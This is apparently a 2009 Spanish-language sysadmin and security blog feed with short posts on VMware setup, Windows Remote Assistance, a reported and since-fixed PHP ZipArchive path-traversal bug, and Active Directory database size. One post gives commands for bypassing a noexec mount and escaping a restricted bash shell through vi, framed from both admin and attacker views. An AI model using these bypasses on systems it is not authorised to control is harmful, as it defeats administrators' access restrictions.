ln -s /usr/src/linux-headers`uname -r` /usr/src/linux

./vmware-install.pl

Win. Ofrecer asistencia remota en la LAN

noreply@blogger.com (vlan7) — Sat, 14 Feb 2009 11:43:00 +0000

hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm

Esto es con permiso del usuario.

0-day in ZipArchive's PHP

noreply@blogger.com (vlan7) — Wed, 28 Jan 2009 20:03:00 +0000

Hoy me puse en contacto con el "security response team" de PHP sobre un bug que descubri en ZipArchive de PHP que, que yo sepa, no habia sido hecho publico.

Pues bien, hoy mismo me han respondido, y como ya esta solucionado, aqui pongo el mail que les mande:

On Wed, Jan 28, 2009 at 4:32 PM, vlan7 wrote:
> Hi!
>
> Recently I've found a vulnerability in ZipArchive's PHP.
>
> An atacker would overwrite any file doing a directory transversal simply
> naming zipped archives somethin' like ../../../../var/www/hack.php
>
> Are you aware of this?

Yes, it is fixed in 5.3.0 and partially fixed in 5.2.x (a bug in a
zend function did not fix it nicely). Everything should be fien in
5.2.9 (RC1 to be released soon).

Thanks for your report!

Cheers,

html mailto tag encoder antispam

noreply@blogger.com (vlan7) — Wed, 28 Jan 2009 15:10:00 +0000

http://rumkin.com/tools/mailto_encoder/custom.php

*nix. Saltando restriccion noexec + evadiendo una shell restrictiva

noreply@blogger.com (vlan7) — Wed, 28 Jan 2009 14:49:00 +0000

Si un buen administrador ha incluido en el fstab (vfstab en solaris) la opcion noexec para montaje de la particion digamos /home del usuario, su idea seria que el usuario no pudiera ejecutar programas bajados por el, es decir, que residan en la particion montada como noexec.

Al intentar ejecutar un script con ./script.sh

No nos lo permite el sistema.

Podemos saltarnos esta restriccion anteponiendo el script en el que esta programado. Por ejemplo:

/bin/bash script.sh

Para archivos binarios ejecutables, y esto es en Linux:

/lib/ld-linux.so.2 binario

Como administradores se nos podria ocurrir quitar el permiso de ejecucion a ld-linux.so.2 , pero ¿que sistema no tiene alguna libreria dinamicamente enlazada? Asi que esa no es una solucion viable.

Lo que podemos hacer es dar al usuario una shell restrictiva tipo bash-r como shell por defecto en el /etc/passwd

Con esto lo que hacemos es una jaula en la que el usuario no puede ejecutar programas que no esten en el PATH, y por supuesto, no puede modificar la variable PATH.

Bien, como todo lo que una mente humana puede asegurar, otra mente humana puede violar, como atacantes procederiamos asi.

El viejo editor vi tiene una opcion para ejecutar comandos de shell.

probador:~$ cd ..
rbash: cd: restricted
probador:~$ vi prueba.sh

Y en vi:

:set shell=/bin/bash
:shell
probador:~$ cd ..
probador:/home$

Suerte,

Sobre espacio ocupado por la bd de Active Directory

noreply@blogger.com (vlan7) — Wed, 28 Jan 2009 12:58:00 +0000

Algunos administradores lo que hacen para conocer el espacio ocupado por la bd de AD es usar el comando:

ntdsutil files info

El problema es que este comando da error si no es ejecutado en modo Restauracion de AD.

Realmente la solucion es mucho mas sencilla. _Toda_ la bd de AD se encuentra en el archivo ntds.dit. Lo que pese el archivo es el tamaño de la bd de AD.

Es desfragmentable y es posible ver cuanto espacio en HD podemos ganar (tras eliminar objetos de AD) mediante una desfragmentacion que tanto puede ser online como offline. Google.